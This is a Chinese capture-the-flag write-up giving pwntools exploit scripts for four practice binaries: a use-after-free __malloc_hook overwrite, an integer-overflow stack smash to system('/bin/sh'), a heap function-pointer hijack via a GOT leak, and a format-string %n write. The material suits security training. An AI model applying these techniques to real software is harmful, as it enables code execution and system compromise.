壹業
标准的UAF漏洞题
思路
- 创建unsortedbin的chunk,free掉,然后再show,就能泄露libc地址
- 复写malloc_hook为one_gadget
exp
本地环境:ubuntu 16.04
python
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| from pwn import * context.log_level='debug'
r=process('./pwn1')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_off = 0x7f7436b23b78-0x7f743675f000 onegadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
print hex(libc_off)
def add(size): r.recvuntil('>>') r.sendline('1') r.recvuntil(':') r.sendline(str(size)) def show(idx): r.recvuntil('>>') r.sendline('2') r.recvuntil(':') r.sendline(str(idx)) def edit(idx,cont): r.recvuntil('>>') r.sendline('3') r.recvuntil(':') r.sendline(str(idx)) r.recvuntil(':') r.sendline(cont) def delete(idx): r.recvuntil('>>') r.sendline('4') r.recvuntil(':') r.sendline(str(idx))
add(0x60) add(0x60) add(0x60) add(0xa0) add(0x60) add(0x60) delete(3)
show(3) r.recvuntil(':') leak=u64(r.recv(6).ljust(8,'\x00')) success(hex(leak))
libc.address = leak- libc_off mallochook=libc.sym['__malloc_hook']
one=libc.address+onegadgets[3] delete(0) edit(0,p64(mallochook-0x23)) add(0x60) add(0x60) edit(7,'a'*0x13+p64(one)) add(0x60)
r.interactive()
|
三學
整数溢出造成栈溢出
exp
python
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
|
from pwn import * context.log_level='debug' r=process('./pwn3')
sys=0x8048440 sh=0x804a04c r.recvuntil(':') r.sendline('/bin/sh\x00') r.recvuntil(':') r.sendline('1') r.recvuntil(':') r.sendline('-1') r.recvuntil('\n') r.sendline('a'*0x5C+p32(0xffffffff)+p32(sys)+p32(0)+p32(sh))
r.interactive()
|
四諦
堆中存在调用puts函数的函数指针,而且还通过堆块来调用函数
exp
python
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| from pwn import * context.log_level='debug' r= process('./pwn4') elf=ELF('./pwn4') libc=ELF("/lib/i386-linux-gnu/libc.so.6") def addnote(size,content): r.recvuntil(":") r.sendline("1") r.recvuntil(":") r.sendline(str(size)) r.recvuntil(":") r.sendline(content) def delnote(idx): r.recvuntil(":") r.sendline("2") r.recvuntil(":") r.sendline(str(idx)) def printnote(idx): r.recvuntil(":") r.sendline("3") r.recvuntil(":") r.sendline(str(idx))
got_puts=elf.got['puts'] info('got_puts->'+hex(got_puts)) pause() func=0x80491f2
addnote(32,"0"*4) addnote(32,"1"*4)
delnote(0) delnote(1) addnote(8,p32(func)+p32(got_puts))
printnote(0) r.recvuntil(':') puts=u32(r.recv(4)) success(hex(puts)) pause() libc.address=puts-libc.sym['puts'] sys=libc.sym['system']
delnote(2) addnote(8,p32(sys)+';$0\x00') printnote(0)
r.interactive()
|
五蘊
格式化字符串漏洞,直接向unk_804c044写特定数,再输入相同的数,可用三种不同方法得到shell
exp
python
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import * context.log_level='debug' r=process('./pwn5')
target=0x804c044
pay=p32(target)+'%012s'+'%10$n' pay=p32(target)+'a'*12+'%10$n'
r.recvuntil(':') r.sendline(pay) r.recvuntil(':') r.sendline(str(0x10))
r.interactive()
|